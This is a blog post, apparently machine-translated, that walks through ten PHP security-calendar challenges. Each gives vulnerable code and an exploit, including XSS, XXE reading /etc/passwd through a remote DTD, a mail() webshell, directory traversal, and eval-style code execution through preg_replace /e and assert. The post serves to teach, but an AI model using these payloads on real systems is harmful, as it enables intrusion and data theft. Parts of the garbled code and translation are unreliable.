PHP security calendar 2017 (questions 1-10)

Posted by baiju on Tue, 09 Nov 2021 00:42:39 +0100

PHP security calendar 2017 (questions 1-10)

Day 1 - Wish List

class Challenge {
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file) {
        $this->file = $file;
        $this->whitelist = range(1, 24);

    public function __destruct() {
        if (in_array($this->file['name'], $this->whitelist)) {
                self::UPLOAD_DIRECTORY . $this->file['name']

$challenge = new Challenge($_FILES['solution']);

Key code in__ In the destruct destructor, use in_array check$_ FILES ['solution '] whether the file name of the uploaded file is within the range of 1 ~ 24. Select whether to execute move_uploaded_file, because in is not set_ The third parameter of array caused the check to be bypassed.

in_array : (PHP 4, PHP 5, PHP 7)

Function: check whether there is a value in the array

Definition: in_array(mixed $needle, array $haystack, bool $strict = false): bool

Return value: bool

Looking for a needle in a haystack, search $need in $haystack. If the third parameter strict is not set, a loose comparison is used.

If the third parameter is true, a strong comparison will be used to check whether the type is the same

For example, the file name is 7shell.php. Because PHP is using in_ When judging by the array() function, 7shell.php will be forcibly converted to the number 7, which is in the range(1,24) array and finally bypasses in_array() function judgment, resulting in arbitrary file upload vulnerability.

Day 2 - Twig

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
    private $twig;

    public function __construct() {
        $indexTemplate = '<img ' .
            'src="">' .
            '<a href="{{link|escape}}">Next slide »</a>';

        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new Twig\Loader\ArrayLoader([
            'index.html' => $indexTemplate
        $this->twig = new Twig\Environment($loader);

    public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);

    public function render() {
        echo $this->twig->render(
            ['link' => $this->getNexSlideUrl()]

(new Template())->render();

This test is the xss vulnerability, which uses the template engine Twig to output to the page. The key point is to bypass the two functions escape and filter_var, the escape filter defined in the Twig template engine to filter links. In fact, the escape filter here is implemented by the PHP built-in function htmlspecialchars. The escape in {{link|escape}} in Twig is the same as htmlspecialchars($link, ENT_QUOTES, 'UTF-8') in PHP, so single quotation marks and double quotation marks cannot be used

htmlspecialchars : (PHP 4, PHP 5, PHP 7)

Function: convert special characters into HTML entities

& (& Symbol)  ===============  &amp;
" (Double quotation mark)  ===============  &quot;
' (Single quotation mark)  ===============  &apos;
< (Less than sign)  ===============  &lt;
> (Greater than sign)  ===============  &gt;

The second filter is in line 22, where filter is used_ Var function to filter the nextSlide variable, and filter is used_ VALIDATE_ URL Filter to determine whether it is a legal URL. filter_var's URL filtering is very weak. It is only a simple formal detection, and there is no detection protocol. The tests are as follows:

var_dump(filter_var('', FILTER_VALIDATE_URL));           # false
var_dump(filter_var('', FILTER_VALIDATE_URL));    #
var_dump(filter_var('xxxx://', FILTER_VALIDATE_URL));    # xxxx://
var_dump(filter_var('>', FILTER_VALIDATE_URL));   # false

For these two filters, we can consider using javascript pseudo protocol to bypass, J avascript://comment %250aalert(1)

The / / here represents a single line comment in JavaScript, so the following contents are comments. Why do you execute the alert function? That's because we use the character%0a, which is a newline character, so the alert statement and the comment / / are not on the same line and can be executed.

The following% 250a is actually the url code of% 0a. The second coding is carried out here. Because the payload will be decoded once it is sent to the server. Through J avascript://comment Bypass filter_var, finally get J avascript://comment%0aalert () go to < a href = "{{link|escape}" > next slide » < / a > just enough to trigger alert.

Day 3 - Snow Flake

function __autoload($className) {
    include $className;

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
    $controller = new $controllerName($data);
} else {
    echo 'There is no page with this name';

class HomeController {
    private $data;

    public function __construct($data) {
        $this->data = $data;

    public function render() {
        if ($this->data['new']) {
            echo 'controller rendering new response';
        } else {
            echo 'controller rendering old response';

Class in line 8_ Exists() will check whether the corresponding class exists. When calling class_ The exists() function triggers a user-defined__ autoload() function to load a class that cannot be found.

class_exists : (PHP 4, PHP 5, PHP 7)

Function: check whether the class is defined

Definition: bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name is the name of the class and is not case sensitive when matching. By default, $autoload is true. When $autoload is true, the program will be loaded automatically__ Autoload function; When $autoload is false, it is not called__ Autoload function.

In addition, there are many functions calling__ The method of autoload() is as follows:


So if we type.. /.. /.. /.. / etc/passwd yes, class will be called_ Exists(), which triggers__ include in autoload() produces arbitrary file inclusion. The prerequisite is between PHP 5 and 5.3. This vulnerability has been fixed in PHP 5.4.

The other is the blind xxe vulnerability due to the existence of class_exists(), so we can call any built-in function of PHP through $controller = new $controllerName($data); Instantiate. At this time, you can complete the XXE attack with the simplexmlement class in PHP.

test2.php?c=SimpleXMLElement&d=<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://Internet address / evil. DTD ">

Day 4 - False Beard

class Login {
    public function __construct($user, $pass) {
        $this->loginViaXml($user, $pass);

    public function loginViaXml($user, $pass) {
        if (
            (!strpos($user, '<') || !strpos($user, '>')) &&
            (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {
            $format = '<xml><user="%s"/><pass="%s"/></xml>';
            $xml = sprintf($format, $user, $pass);
            $xmlElement = new SimpleXMLElement($xml);
            // Perform the actual login.

new Login($_POST['username'], $_POST['password']);

Lines 8-9 filter the strpos function, and then process the received data with the simplexmlement function. In fact, the injection problem is caused by the improper use of the strpos function.

strpos - find where the string first appears

Function: it is mainly used to find the position where characters appear for the first time in the string.

var_dump(strpos('abcd','a'));       # 0
var_dump(strpos('abcd','x'));       # false

The strpos function returns the subscript of the found substring. If the beginning of the string is the target of our search, it returns the subscript 0; if the search is not found, it returns false.

Due to the automatic type conversion of PHP, 0 and false are equal, as follows:

var_dump(0==false);         # true

Therefore, if the first character of the username and password passed in is < or > to bypass the restriction, the last pyaload is:


The value of $xmlElement finally passed into $this - > login ($xmlElement) is < XML > < user = "<" > < injected tag property = "" / > < pass = "<" > < injected tag property = "" / > < / XML > so that injection can be performed.

Day 5 - Postcard

class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';

        return escapeshellarg($email);

    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = '';
        } else {
            $data['to'] = $this->sanitize($data['to']);

        if (!isset($data['from'])) {
            $data['from'] = '';
        } else {
            $data['from'] = $this->sanitize($data['from']);

        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';

        if (!isset($data['message'])) {
            $data['message'] = '';

        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);

$mailer = new Mailer();

There is a mail function in the code. If the fifth parameter is set to - X, it can be written to webshell

In the above example, we use the - X parameter to specify the log file. Finally, the following data will be written in the / var/www/html/rce.php file:

17220 <<< To:
 17220 <<< Subject: Hello Alice!
 17220 <<< X-PHP-Originating-Script: 0:test.php
 17220 <<< CC:
 17220 <<<
 17220 <<< <?php phpinfo(); ?>
 17220 <<< [EOF]

To reach the mail function, you need to go through two filters, filter_var and escape hellarg

filter_var : filter a variable using a specific filter

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

Function: This is mainly to filter some things you want to filter according to the second parameter filter.

The problem with filter_var() is that even if there are special characters in double quotation marks, it can still be detected as true. The following are some examples of effective passing:

Valid email addresses:
"much.more unusual"
"very.(),:;<>[]".VERY."very@\ "very".unusual"
postbox@com (top-level domains are valid hostnames)
admin@mailserver1 (local domain name with no TLD)
"()<>[]:,;@\"!#$%&'*+-/=?^_`{}| ~.a"
" " (space between the quotes)
üñîçøðé (Unicode characters in local part)

Of course, because of the special symbol introduced, though bypassing the detection of filter_var(), but because of the PHP (mail) function in the underlying implementation, the escapeshellcmd() function is invoked to detect the email address entered by the user, resulting in the existence of special symbols, which will also be escapeshellcmd(). Function handles escape, so there is no way to achieve the purpose of command execution, so you can use escape hellarg and escape hellcmd together to bypass.

After escapeshellarg function is escaped, a single quotation mark will be added to the left and right respectively, but escapeshellcmd function directly adds an escape character. For paired single quotation marks, escapeshellcmd function does not escape by default.

When escapeshellcmd() and escapeshellarg are used together, special characters will escape. Let's give a simple example to understand:

  1. The parameter passed in is' -v -d a=1
  2. Because escapeshellarg first escapes the single quotation mark, and then encloses the left and right parts in single quotation marks, it plays the role of connection. Therefore, the effects after processing are as follows:

    ''\'' -v -d a=1'
  3. Then, the escapeshellcmd function escapes the \ and single quotation marks in a=1 'in the string after the second step. The results are as follows:

    ''\\'' -v -d a=1\'
  4. Since \ \ in the payload processed in the third step is interpreted as \ instead of an escape character, the payload is divided into three parts after single quotation mark pairing and connection, as shown below:

Therefore, the payload can be simplified to curl\ -v -d a=1 ', that is, the request is sent to \, and the POST data is a=1'.

Day 6 - Frost Pattern

class TokenStorage {
    public function performAction($action, $data) {
        switch ($action) {
            case 'create':
            case 'delete':
                throw new Exception('Unknown action');

    public function createToken($seed) {
        $token = md5($seed);
        file_put_contents('/tmp/tokens/' . $token, '');

    public function clearToken($token) {
        $file = preg_replace("/[^a-z.-_]/", "", $token);
        unlink('/tmp/tokens/' . $file);

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

The regular expression [^ A-Z. -] in clearToken() method is intended to convert non-a-z,., -_ Replace all with empty. In this way, the.. /.. /.. / directory traversal method cannot be used, because / will be replaced with empty.

But the problem with this question is that - in [^ a-z. -] is not escaped. If - is not escaped, then - means matching a list, for example, the numbers 1 to 9 represented by [1-9], but if [1 \ - 9] means matching the letters 1, - and 9. Therefore, the [^ a-z. -] used in this question means that the letters with serial numbers 46 to 122 in the non ascii table are replaced with empty letters. Then the.. /... / at this time will not be matched, and directory traversal can be carried out, resulting in the deletion of any file.

The final pyload can be written as: action = delete & data =.. /.. / config. PHP

Day 7 - Bells

function getUser($id) {
    global $config, $db;
    if (!is_resource($db)) {
        $db = new MySQLi(
    $sql = "SELECT username FROM users WHERE id = ?";
    $stmt = $db->prepare($sql);
    $stmt->bind_param('i', $id);
    return $name;

$var = parse_url($_SERVER['HTTP_REFERER']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

Let's start with parse_url function

Usage: parse_url(string $url, int $component = -1): [mixed]

This function parses a URL and returns an associative array containing various components in the URL.

If the component parameter is omitted, an associative array array will be returned. At present, there will be at least one element in the array. There are several possible keys in the array:

  • scheme - such as http
  • host
  • port
  • user
  • pass
  • path
  • query - where is the question mark? after
  • fragment - after hash # symbol

For example: http://username:password@hostname/path?arg=value#anchor will output the following

    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor

In the title, $var['query '] is? The following parameter key value pairs. Next, let's look at the second function parse_str

Usage: parse_str(string,array)

parse_ The str () function parses the query string into variables.


Parse the query string into a variable:

echo $name."<br>";
echo $age;

And this parse_str is a function that is prone to variable coverage vulnerabilities. At the same time$_ Server ['http_reference '] is also controllable, so there is a vulnerability of variable coverage.

Through the variable coverage vulnerability, we can override $config and query it in the database we constructed, so as to ensure that we can successfully pass the verification.

The final payload is as follows: http://host/config [dbhost]=[dbuser]=root&config[dbpass]=root&config[dbname]=malicious&id=1

Day 8 - Candle

header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
    return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

foreach ($_GET as $regex => $value) {
    echo complexStrtolower($regex, $value) . "\n";

preg_ The / e mode of the replace function will generate code execution. Here is a demo. The first parameter must match the third parameter, and the second parameter will generate command execution


preg_replace: (PHP 5.5)

Function: the function performs the search and replacement of a regular expression

Definition: mixed preg_ replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

Search the part of the subject that matches the pattern. If the match is successful, replace it with replacement

We can control preg_ The first and third parameters of the replace function are used to execute the code. However, the second parameter that can be used as code execution is fixed as' strtower ("\ 1") '.

Because strtower ("\ \ 1") uses double quotes, and double quotes in php can execute code, such as

echo strtolower("{${phpinfo()}}");

So strtower ("\ \ 1") here is \ 1

echo strtolower("\\1");

\1 represents a back reference in the regular expression, that is, it refers to the value {${phpinfo()}} that the regular expression matches for the first time, which is equivalent to executing {${phpinfo()}}

Then the last payload of this question can be written as /*= {${phpinfo()}}

However, if there are illegal characters in the parameter name of the GET request, PHP will replace it with an underscore, that is. * will become *. So the payload becomes:


If you need to bypass. At this time, you can use the following payload. The first parameter matches the third parameter, and then execute the code of the second parameter, which backreferences {${phpinfo()}} to cause code execution{\${\w*\(\)}}={${phpinfo()}}\S*={${phpinfo()}}

Day 9 - Rabbit

class LanguageManager
    public function loadLanguage()
        $lang = $this->getBrowserLanguage();
        $sanitizedLang = $this->sanitizeLanguage($lang);

    private function getBrowserLanguage()
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
        return $lang;

    private function sanitizeLanguage($language)
        return str_replace('../', '', $language);

(new LanguageManager())->loadLanguage();	

This question examines a str_ Arbitrary File Inclusion Vulnerability caused by improper filtering of replace function. At line 18 of the above code, the program just replaces the.. / character with an empty one, which does not prevent the attacker from attacking. For example, an attacker uses payload:... / / or... /. /, in a programmed str_ After the replace function is processed, it will become.. /, so STR in the program above_ The replace function filtering is problematic.

str_replace : (PHP 4, PHP 5, PHP 7)

Function: substring replacement

Definition: mixed str_ replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

This function returns a string or array. As follows:

str_ Replace (string 1, string 2, string 3): replace all string 1 appearing in string 3 with string 2.

str_ Replace (array 1, string 1, string 2): replace all the values in array 1 in string 2 with string 1.

str_ Replace (array 1, array 2, string 1): replace all array 1 in string 1 with the value of array 2, and replace the redundant with an empty string.

Then the payload of the final request is as follows:

Accept-Language:  .//....//....//etc/passwd

Day 10 - Anticipation

$pi = extract($_POST);
function goAway() {
    error_log("Hacking attempt.");
    header('Location: /error/');

if (!isset($pi) || !is_numeric($pi)) {

if (!assert("(int)$pi == 3")) {
    echo "This is not pi.";
} else {
    echo "This might be pi.";

Although this topic has extract($_POST);, However, there is no variable coverage vulnerability. There are two key problems in this topic:

  1. Although the prevention of pi value is made, the program does not use exit() or die() to exit after the header jump processing, resulting in the subsequent line 11 code can still be executed.
  2. assert() can execute the code in "such as assert("(int)phpinfo() ");

For example, our payload is: pi=phpinfo() (in this case, POST transfers data), and then the program will execute this phpinfo function. Of course, you may not see the phpinfo page on the browser side, but an image like the following:

However, with BurpSuite, you can clearly see that the program executes the phpinfo function:

In fact, there are many such cases in the real environment. For example, some CMS can judge whether the program has been installed by checking whether the install.lock file exists. If it has been installed, it will directly redirect the user to the home page of the website, but forget to exit the program directly, resulting in the website reinstallation vulnerability.